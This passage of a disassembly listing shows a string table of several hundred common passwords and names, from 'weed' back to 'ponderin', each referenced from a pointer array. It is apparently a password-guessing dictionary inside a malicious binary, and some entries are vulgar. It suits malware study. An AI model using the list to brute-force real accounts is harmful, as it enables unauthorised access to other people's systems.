		align 4
aWeed		db 'weed',0             ; DATA XREF: ___:0043108Co
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: ___:00431088o
		align 10h
aWebpage	db 'webpage',0          ; DATA XREF: ___:00431084o
aWave		db 'wave',0             ; DATA XREF: ___:00431080o
		align 10h
aWater		db 'water',0            ; DATA XREF: ___:0043107Co
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: ___:00431078o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: ___:00431074o
		align 4
aWarren		db 'warren',0           ; DATA XREF: ___:00431070o
		align 4
aWarp		db 'warp',0             ; DATA XREF: ___:0043106Co
		align 4
aWargames	db 'wargames',0         ; DATA XREF: ___:00431068o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: ___:00431064o
aWarez		db 'warez',0            ; DATA XREF: ___:00431060o
		align 4
aWard		db 'ward',0             ; DATA XREF: ___:0043105Co
		align 10h
aWaco		db 'waco',0             ; DATA XREF: ___:00431058o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: ___:00431054o
		align 10h
aVisualba	db 'visualba',0         ; DATA XREF: ___:00431050o
		align 4
aVisual		db 'visual',0           ; DATA XREF: ___:0043104Co
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: ___:00431048o
aVirus		db 'virus',0            ; DATA XREF: ___:00431044o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: ___:00431040o
		align 10h
aVirgin		db 'virgin',0           ; DATA XREF: ___:0043103Co
		align 4
aVillage	db 'village',0          ; DATA XREF: ___:00431038o
aVideogam	db 'videogam',0         ; DATA XREF: ___:00431034o
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A0o
					; ___:00431030o
		align 4
aVictor		db 'victor',0           ; DATA XREF: ___:0043102Co
		align 4
aVicky		db 'vicky',0            ; DATA XREF: ___:00431028o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: ___:00431024o
aVeronica	db 'veronica',0         ; DATA XREF: ___:00431020o
		align 4
aVenus		db 'venus',0            ; DATA XREF: ___:0043101Co
		align 10h
aVasant		db 'vasant',0           ; DATA XREF: ___:00431018o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: ___:00431014o
aValerie	db 'valerie',0          ; DATA XREF: ___:00431010o
aVagina		db 'vagina',0           ; DATA XREF: ___:0043100Co
		align 10h
aUucp		db 'uucp',0             ; DATA XREF: ___:00431008o
		align 4
aUtility	db 'utility',0          ; DATA XREF: ___:00431004o
aUtil		db 'util',0             ; DATA XREF: ___:00431000o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: ___:00430FFCo
		align 10h
aUsername	db 'username',0         ; DATA XREF: ___:00430FF8o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: ___:00430FF4o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: ___:00430FF0o
		align 10h
aUrsula		db 'ursula',0           ; DATA XREF: ___:00430FECo
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: ___:00430FE8o
		align 10h
aUranus		db 'uranus',0           ; DATA XREF: ___:00430FE4o
		align 4
aUpload		db 'upload',0           ; DATA XREF: ___:00430FE0o
		align 10h
aUnlock		db 'unlock',0           ; DATA XREF: ___:00430FDCo
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: ___:00430FD8o
aUniversi	db 'universi',0         ; DATA XREF: ___:00430FD4o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: ___:00430FD0o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: ___:00430FCCo
		align 4
aUniform	db 'uniform',0          ; DATA XREF: ___:00430FC8o
aUnicorn	db 'unicorn',0          ; DATA XREF: ___:00430FC4o
aUnhappy	db 'unhappy',0          ; DATA XREF: ___:00430FC0o
aUndo		db 'undo',0             ; DATA XREF: ___:00430FBCo
		align 4
aUncle		db 'uncle',0            ; DATA XREF: ___:00430FB8o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: ___:00430FB4o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: ___:00430FB0o
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: ___:00430FACo
		align 4
aTurn		db 'turn',0             ; DATA XREF: ___:00430FA8o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: ___:00430FA4o
aTubas		db 'tubas',0            ; DATA XREF: ___:00430FA0o
		align 4
aTruth		db 'truth',0            ; DATA XREF: ___:00430F9Co
		align 4
aTrue		db 'true',0             ; DATA XREF: ___:00430F98o
		align 4
aTron		db 'tron',0             ; DATA XREF: ___:00430F94o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: ___:00430F90o
		align 10h
aTrojan		db 'trojan',0           ; DATA XREF: ___:00430F8Co
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: ___:00430F88o
aTrisha		db 'trisha',0           ; DATA XREF: ___:00430F84o
		align 4
aTrek		db 'trek',0             ; DATA XREF: ___:00430F80o
		align 10h
aTree		db 'tree',0             ; DATA XREF: ___:00430F7Co
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: ___:00430F78o
		align 4
aTrap		db 'trap',0             ; DATA XREF: ___:00430F74o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: ___:00430F70o
		align 4
aTrails		db 'trails',0           ; DATA XREF: ___:00430F6Co
		align 10h
aTracy		db 'tracy',0            ; DATA XREF: ___:00430F68o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: ___:00430F64o
		align 10h
aTraci		db 'traci',0            ; DATA XREF: ___:00430F60o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: ___:00430F5Co
		align 10h
aToxic		db 'toxic',0            ; DATA XREF: ___:00430F58o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: ___:00430F54o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: ___:00430F50o
		align 10h
aTomato		db 'tomato',0           ; DATA XREF: ___:00430F4Co
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: ___:00430F48o
		align 4
aToken		db 'token',0            ; DATA XREF: ___:00430F44o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: ___:00430F40o
		align 4
aToad		db 'toad',0             ; DATA XREF: ___:00430F3Co
		align 4
aTits		db 'tits',0             ; DATA XREF: ___:00430F38o
		align 4
aTina		db 'tina',0             ; DATA XREF: ___:00430F34o
		align 4
aTime		db 'time',0             ; DATA XREF: ___:00430F30o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: ___:00430F2Co
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: ___:00430F28o
aThursday	db 'thursday',0         ; DATA XREF: ___:00430F24o
		align 10h
aThin		db 'thin',0             ; DATA XREF: ___:00430F20o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: ___:00430F1Co
aThailand	db 'thailand',0         ; DATA XREF: ___:00430F18o
		align 4
aText		db 'text',0             ; DATA XREF: ___:00430F14o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: ___:00430F10o
		align 4
aTess		db 'tess',0             ; DATA XREF: ___:00430F0Co
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: ___:00430F08o
		align 10h
aTerminal	db 'terminal',0         ; DATA XREF: ___:00430F04o
		align 4
aTera		db 'tera',0             ; DATA XREF: ___:00430F00o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: ___:00430EFCo
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: ___:00430EF8o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: ___:00430EF4o
		align 10h
aTelephon	db 'telephon',0         ; DATA XREF: ___:00430EF0o
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: ___:00430EECo
aTeen		db 'teen',0             ; DATA XREF: ___:00430EE8o
		align 4
aTech		db 'tech',0             ; DATA XREF: ___:00430EE4o
		align 4
aTears		db 'tears',0            ; DATA XREF: ___:00430EE0o
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: ___:00430EDCo
		align 4
aTeam		db 'team',0             ; DATA XREF: ___:00430ED8o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: ___:00430ED0o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: ___:00430ECCo
		align 10h
aTarget		db 'target',0           ; DATA XREF: ___:00430EC8o
		align 4
aTara		db 'tara',0             ; DATA XREF: ___:00430EC4o
		align 10h
aTape		db 'tape',0             ; DATA XREF: ___:00430EC0o
		align 4
aTango		db 'tango',0            ; DATA XREF: ___:00430EBCo
		align 10h
aTangerin	db 'tangerin',0         ; DATA XREF: ___:00430EB8o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: ___:00430EB4o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: ___:00430EB0o
		align 4
aTami		db 'tami',0             ; DATA XREF: ___:00430EACo
		align 4
aTamara		db 'tamara',0           ; DATA XREF: ___:00430EA8o
		align 4
aTall		db 'tall',0             ; DATA XREF: ___:00430EA4o
		align 4
aTalk		db 'talk',0             ; DATA XREF: ___:00430EA0o
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: ___:00430E9Co
aSysop		db 'sysop',0            ; DATA XREF: ___:00430E98o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: ___:00430E94o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: ___:00430E90o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: ___:00430E8Co
		align 4
aSword		db 'sword',0            ; DATA XREF: ___:00430E88o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: ___:00430E84o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: ___:00430E80o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: ___:00430E7Co
aSuzie		db 'suzie',0            ; DATA XREF: ___:00430E78o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: ___:00430E74o
aSusie		db 'susie',0            ; DATA XREF: ___:00430E70o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: ___:00430E6Co
aSusan		db 'susan',0            ; DATA XREF: ___:00430E68o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: ___:00430E64o
aSurfer		db 'surfer',0           ; DATA XREF: ___:00430E60o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: ___:00430E5Co
		align 10h
aSupport	db 'support',0          ; DATA XREF: ___:00430E58o
aSupervis	db 'supervis',0         ; DATA XREF: ___:00430E54o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: ___:00430E50o
		align 10h
aSupersta	db 'supersta',0         ; DATA XREF: ___:00430E4Co
		align 4
aSuperson	db 'superson',0         ; DATA XREF: ___:00430E48o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: ___:00430E44o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: ___:00430E40o
		align 4
aSummer		db 'summer',0           ; DATA XREF: ___:00430E3Co
		align 4
aSucks		db 'sucks',0            ; DATA XREF: ___:00430E38o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: ___:00430E34o
		align 4
aSuck		db 'suck',0             ; DATA XREF: ___:00430E30o
		align 10h
aSuccess	db 'success',0          ; DATA XREF: ___:00430E2Co
aSubway		db 'subway',0           ; DATA XREF: ___:00430E28o
		align 10h
aSubscrib	db 'subscrib',0         ; DATA XREF: ___:00430E24o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: ___:00430E20o
		align 4
aStrip		db 'strip',0            ; DATA XREF: ___:00430E18o
		align 10h
aString		db 'string',0           ; DATA XREF: ___:00430E14o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: ___:00430E10o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: ___:00430E0Co
		align 10h
aStrangle	db 'strangle',0         ; DATA XREF: ___:00430E08o
		align 4
aStrange	db 'strange',0          ; DATA XREF: ___:00430E04o
aStones		db 'stones',0           ; DATA XREF: ___:00430E00o
		align 4
aStoned		db 'stoned',0           ; DATA XREF: ___:00430DFCo
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: ___:00430DF8o
		align 10h
aSteve		db 'steve',0            ; DATA XREF: ___:00430DF4o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: ___:00430DF0o
		align 10h
aStephani	db 'stephani',0         ; DATA XREF: ___:00430DECo
		align 4
aSteph		db 'steph',0            ; DATA XREF: ___:00430DE8o
		align 4
aSteel		db 'steel',0            ; DATA XREF: ___:00430DE4o
		align 4
aSteal		db 'steal',0            ; DATA XREF: ___:00430DE0o
		align 4
aSteak		db 'steak',0            ; DATA XREF: ___:00430DDCo
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: ___:00430DD8o
		align 4
aStartup	db 'startup',0          ; DATA XREF: ___:00430DD4o
aStartrek	db 'startrek',0         ; DATA XREF: ___:00430DD0o
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40EE72+2069o
					; ___:00430DCCo
		align 4
aStarship	db 'starship',0         ; DATA XREF: ___:00430DC8o
		align 10h
aStar		db 'star',0             ; DATA XREF: ___:00430DC4o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: ___:00430DC0o
		align 10h
aStacie		db 'stacie',0           ; DATA XREF: ___:00430DBCo
		align 4
aStaci		db 'staci',0            ; DATA XREF: ___:00430DB8o
		align 10h
aStacey		db 'stacey',0           ; DATA XREF: ___:00430DB4o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: ___:00430DB0o
		align 10h
aSquires	db 'squires',0          ; DATA XREF: ___:00430DACo
aSpunk		db 'spunk',0            ; DATA XREF: ___:00430DA8o
		align 10h
aSpringer	db 'springer',0         ; DATA XREF: ___:00430DA4o
		align 4
aSpring		db 'spring',0           ; DATA XREF: ___:00430DA0o
		align 4
aSpred		db 'spred',0            ; DATA XREF: ___:00430D9Co
		align 4
aSpit		db 'spit',0             ; DATA XREF: ___:00430D98o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: ___:00430D94o
		align 10h
aSpider		db 'spider',0           ; DATA XREF: ___:00430D90o
		align 4
aSpice		db 'spice',0            ; DATA XREF: ___:00430D8Co
		align 10h
aSpell		db 'spell',0            ; DATA XREF: ___:00430D88o
		align 4
aSpear		db 'spear',0            ; DATA XREF: ___:00430D84o
		align 10h
aSparrows	db 'sparrows',0         ; DATA XREF: ___:00430D80o
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: ___:00430D7Co
		align 4
aSouth		db 'south',0            ; DATA XREF: ___:00430D78o
		align 10h
aSource		db 'source',0           ; DATA XREF: ___:00430D74o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: ___:00430D70o
aSonya		db 'sonya',0            ; DATA XREF: ___:00430D6Co
		align 4
aSonic		db 'sonic',0            ; DATA XREF: ___:00430D68o
		align 10h
aSonia		db 'sonia',0            ; DATA XREF: ___:00430D64o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: ___:00430D60o
		align 10h
aSomebody	db 'somebody',0         ; DATA XREF: ___:00430D5Co
		align 4
aSoftware	db 'software',0         ; DATA XREF: ___:00430D58o
		align 4
aSoft		db 'soft',0             ; DATA XREF: ___:00430D54o
		align 10h
aSodomy		db 'sodomy',0           ; DATA XREF: ___:00430D50o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: ___:00430D4Co
		align 4
aSocial		db 'social',0           ; DATA XREF: ___:00430D48o
		align 4
aSoap		db 'soap',0             ; DATA XREF: ___:00430D44o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: ___:00430D40o
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: ___:00430D3Co
		align 4
aSnake		db 'snake',0            ; DATA XREF: ___:00430D38o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: ___:00430D34o
		align 4
aSnach		db 'snach',0            ; DATA XREF: ___:00430D30o
		align 4
aSmut		db 'smut',0             ; DATA XREF: ___:00430D2Co
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: ___:00430D28o
		align 4
aSmother	db 'smother',0          ; DATA XREF: ___:00430D24o
aSmooch		db 'smooch',0           ; DATA XREF: ___:00430D20o
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: ___:00430D1Co
		align 4
aSmile		db 'smile',0            ; DATA XREF: ___:00430D18o
		align 4
aSmart		db 'smart',0            ; DATA XREF: ___:00430D14o
		align 4
aSmall		db 'small',0            ; DATA XREF: ___:00430D10o
		align 4
aSlut		db 'slut',0             ; DATA XREF: ___:00430D0Co
		align 4
aSlow		db 'slow',0             ; DATA XREF: ___:00430D08o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: ___:00430D04o
aSlick		db 'slick',0            ; DATA XREF: ___:00430D00o
		align 4
aSlave		db 'slave',0            ; DATA XREF: ___:00430CFCo
		align 4
aSkull		db 'skull',0            ; DATA XREF: ___:00430CF8o
		align 4
aSite		db 'site',0             ; DATA XREF: ___:00430CF4o
		align 4
aSingle		db 'single',0           ; DATA XREF: ___:00430CF0o
		align 4
aSinger		db 'singer',0           ; DATA XREF: ___:00430CECo
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: ___:00430CE8o
		align 10h
aSimpsons	db 'simpsons',0         ; DATA XREF: ___:00430CE4o
		align 4
aSimple		db 'simple',0           ; DATA XREF: ___:00430CE0o
		align 4
aSimon		db 'simon',0            ; DATA XREF: ___:00430CDCo
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: ___:00430CD8o
aSilver		db 'silver',0           ; DATA XREF: ___:00430CD4o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: ___:00430CD0o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: ___:00430CCCo
		align 10h
aSick		db 'sick',0             ; DATA XREF: ___:00430CC8o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: ___:00430CC4o
aShort		db 'short',0            ; DATA XREF: ___:00430CC0o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: ___:00430CBCo
aShiva		db 'shiva',0            ; DATA XREF: ___:00430CB8o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: ___:00430CB4o
aShit		db 'shit',0             ; DATA XREF: ___:00430CB0o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: ___:00430CACo
aShift		db 'shift',0            ; DATA XREF: ___:00430CA8o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: ___:00430CA4o
		align 10h
aShell		db 'shell',0            ; DATA XREF: ___:00430CA0o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: ___:00430C9Co
aSheffiel	db 'sheffiel',0         ; DATA XREF: ___:00430C98o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: ___:00430C94o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: ___:00430C90o
		align 4
aShark		db 'shark',0            ; DATA XREF: ___:00430C8Co
		align 4
aSharc		db 'sharc',0            ; DATA XREF: ___:00430C88o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: ___:00430C84o
aSexy		db 'sexy',0             ; DATA XREF: ___:00430C80o
		align 4
aSesame		db 'sesame',0           ; DATA XREF: ___:00430C7Co
		align 4
aService	db 'service',0          ; DATA XREF: ___:00430C78o
aSerial_0	db 'serial',0           ; DATA XREF: ___:00430C74o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: ___:00430C70o
		align 10h
aSentry		db 'sentry',0           ; DATA XREF: ___:00430C6Co
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: ___:00430C68o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: ___:00430C64o
		align 4
aSega		db 'sega',0             ; DATA XREF: ___:00430C60o
		align 4
aSeed		db 'seed',0             ; DATA XREF: ___:00430C5Co
		align 4
aSecurity	db 'security',0         ; DATA XREF: ___:00430C58o
		align 4
aSearch		db 'search',0           ; DATA XREF: ___:00430C54o
		align 10h
aScout		db 'scout',0            ; DATA XREF: ___:00430C50o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: ___:00430C4Co
		align 10h
aScott		db 'scott',0            ; DATA XREF: ___:00430C48o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: ___:00430C44o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: ___:00430C40o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: ___:00430C3Co
aSchool		db 'school',0           ; DATA XREF: ___:00430C38o
		align 10h
aScheme		db 'scheme',0           ; DATA XREF: ___:00430C34o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: ___:00430C30o
aSaxon		db 'saxon',0            ; DATA XREF: ___:00430C2Co
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: ___:00430C28o
		align 10h
aSaturday	db 'saturday',0         ; DATA XREF: ___:00430C24o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: ___:00430C20o
		align 4
aSara		db 'sara',0             ; DATA XREF: ___:00430C1Co
		align 4
aSandy		db 'sandy',0            ; DATA XREF: ___:00430C18o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: ___:00430C14o
		align 4
aSample		db 'sample',0           ; DATA XREF: ___:00430C10o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: ___:00430C0Co
		align 10h
aSalt		db 'salt',0             ; DATA XREF: ___:00430C08o
		align 4
aSale		db 'sale',0             ; DATA XREF: ___:00430C04o
		align 10h
aSalami		db 'salami',0           ; DATA XREF: ___:00430C00o
		align 4
aSafe		db 'safe',0             ; DATA XREF: ___:00430BFCo
		align 10h
aRuth		db 'ruth',0             ; DATA XREF: ___:00430BF8o
		align 4
aRush		db 'rush',0             ; DATA XREF: ___:00430BF4o
		align 10h
aRunning_0	db 'running',0          ; DATA XREF: ___:00430BF0o
aRules		db 'rules',0            ; DATA XREF: ___:00430BECo
		align 10h
aRude		db 'rude',0             ; DATA XREF: ___:00430BE8o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: ___:00430BE4o
		align 10h
aRuben		db 'ruben',0            ; DATA XREF: ___:00430BE0o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: ___:00430BDCo
		align 10h
aRough		db 'rough',0            ; DATA XREF: ___:00430BD8o
		align 4
aRoses		db 'roses',0            ; DATA XREF: ___:00430BD4o
		align 10h
aRosemary	db 'rosemary',0         ; DATA XREF: ___:00430BD0o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: ___:00430BCCo
aRose		db 'rose',0             ; DATA XREF: ___:00430BC8o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: ___:00430BC4o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: ___:00430BC0o
aRomeo		db 'romeo',0            ; DATA XREF: ___:00430BBCo
		align 4
aRomano		db 'romano',0           ; DATA XREF: ___:00430BB8o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: ___:00430BB4o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: ___:00430BB0o
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: ___:00430BACo
		align 4
aRocky		db 'rocky',0            ; DATA XREF: ___:00430BA8o
		align 10h
aRock		db 'rock',0             ; DATA XREF: ___:00430BA4o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: ___:00430BA0o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: ___:00430B9Co
		align 10h
aRobyn		db 'robyn',0            ; DATA XREF: ___:00430B98o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: ___:00430B94o
		align 4
aRobot		db 'robot',0            ; DATA XREF: ___:00430B90o
		align 4
aRobin		db 'robin',0            ; DATA XREF: ___:00430B8Co
		align 4
aRobert		db 'robert',0           ; DATA XREF: ___:00430B88o
		align 4
aRoach		db 'roach',0            ; DATA XREF: ___:00430B84o
		align 4
aRisc		db 'risc',0             ; DATA XREF: ___:00430B80o
		align 4
aRipple		db 'ripple',0           ; DATA XREF: ___:00430B7Co
		align 4
aRiot		db 'riot',0             ; DATA XREF: ___:00430B78o
		align 4
aRing		db 'ring',0             ; DATA XREF: ___:00430B74o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: ___:00430B70o
		align 10h
aRight		db 'right',0            ; DATA XREF: ___:00430B6Co
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: ___:00430B68o
		align 4
aRick		db 'rick',0             ; DATA XREF: ___:00430B64o
		align 4
aRich		db 'rich',0             ; DATA XREF: ___:00430B60o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: ___:00430B5Co
		align 4
aReveal		db 'reveal',0           ; DATA XREF: ___:00430B58o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: ___:00430B54o
		align 10h
aRepublic	db 'republic',0         ; DATA XREF: ___:00430B50o
		align 4
aReport		db 'report',0           ; DATA XREF: ___:00430B4Co
		align 4
aRent		db 'rent',0             ; DATA XREF: ___:00430B48o
		align 4
aReno		db 'reno',0             ; DATA XREF: ___:00430B44o
		align 4
aRenee		db 'renee',0            ; DATA XREF: ___:00430B40o
		align 4
aRemote		db 'remote',0           ; DATA XREF: ___:00430B3Co
		align 4
aRelease	db 'release',0          ; DATA XREF: ___:00430B38o
aRegional	db 'regional',0         ; DATA XREF: ___:00430B34o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: ___:00430B30o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: ___:00430B2Co
aReddawn	db 'reddawn',0          ; DATA XREF: ___:00430B28o
aRecord		db 'record',0           ; DATA XREF: ___:00430B24o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: ___:00430B20o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: ___:00430B1Co
aRebal		db 'rebal',0            ; DATA XREF: ___:00430B18o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: ___:00430B14o
		align 4
aReam		db 'ream',0             ; DATA XREF: ___:00430B10o
		align 4
aReally		db 'really',0           ; DATA XREF: ___:00430B0Co
		align 4
aReality	db 'reality',0          ; DATA XREF: ___:00430B08o
aReagan		db 'reagan',0           ; DATA XREF: ___:00430B04o
		align 4
aRazor		db 'razor',0            ; DATA XREF: ___:00430B00o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: ___:00430AFCo
		align 4
aRape		db 'rape',0             ; DATA XREF: ___:00430AF8o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: ___:00430AF0o
aRaindrop	db 'raindrop',0         ; DATA XREF: ___:00430AECo
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: ___:00430AE8o
aRain		db 'rain',0             ; DATA XREF: ___:00430AE4o
		align 4
aRaid		db 'raid',0             ; DATA XREF: ___:00430AE0o
		align 10h
aRachmani	db 'rachmani',0         ; DATA XREF: ___:00430ADCo
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: ___:00430AD8o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: ___:00430AD4o
		align 10h
aRabbit		db 'rabbit',0           ; DATA XREF: ___:00430AD0o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00430ACCo
		align 10h
aQwert		db 'qwert',0            ; DATA XREF: ___:00430AC8o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: ___:00430AC4o
		align 10h
aPussy		db 'pussy',0            ; DATA XREF: ___:00430AC0o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: ___:00430ABCo
		align 10h
aPunk		db 'punk',0             ; DATA XREF: ___:00430AB8o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: ___:00430AB4o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: ___:00430AB0o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: ___:00430AACo
aPuke		db 'puke',0             ; DATA XREF: ___:00430AA8o
		align 4
aPuck		db 'puck',0             ; DATA XREF: ___:00430AA4o
		align 4
aPublic		db 'public',0           ; DATA XREF: ___:00430AA0o
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: ___:00430A9Co
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: ___:00430A98o
		align 10h
aProtozoa	db 'protozoa',0         ; DATA XREF: ___:00430A94o
		align 4
aProtect	db 'protect',0          ; DATA XREF: ___:00430A90o
aPrompt		db 'prompt',0           ; DATA XREF: ___:00430A8Co
		align 4
aProgram	db 'program',0          ; DATA XREF: ___:00430A88o
aProfile	db 'profile',0          ; DATA XREF: ___:00430A84o
aProfesso	db 'professo',0         ; DATA XREF: ___:00430A80o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: ___:00430A7Co
		align 4
aProceed	db 'proceed',0          ; DATA XREF: ___:00430A78o
aPrivs		db 'privs',0            ; DATA XREF: ___:00430A74o
		align 4
aPrivate	db 'private',0          ; DATA XREF: ___:00430A70o
aPriv		db 'priv',0             ; DATA XREF: ___:00430A6Co
		align 4
aPrinter	db 'printer',0          ; DATA XREF: ___:00430A68o
aPrinceto	db 'princeto',0         ; DATA XREF: ___:00430A64o
		align 4
aPrince		db 'prince',0           ; DATA XREF: ___:00430A60o
		align 10h
aPresto		db 'presto',0           ; DATA XREF: ___:00430A5Co
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: ___:00430A58o
aPrecious	db 'precious',0         ; DATA XREF: ___:00430A54o
		align 4
aPraise		db 'praise',0           ; DATA XREF: ___:00430A50o
		align 4
aPower		db 'power',0            ; DATA XREF: ___:00430A4Co
		align 4
aPoster		db 'poster',0           ; DATA XREF: ___:00430A48o
		align 4
aPost		db 'post',0             ; DATA XREF: ___:00430A44o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: ___:00430A40o
aPorno		db 'porno',0            ; DATA XREF: ___:00430A3Co
		align 4
aPorn		db 'porn',0             ; DATA XREF: ___:00430A38o
		align 4
aPork		db 'pork',0             ; DATA XREF: ___:00430A34o
		align 4
aPoor		db 'poor',0             ; DATA XREF: ___:00430A30o
		align 4
aPoop		db 'poop',0             ; DATA XREF: ___:00430A2Co
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: ___:00430A28o
		align 4
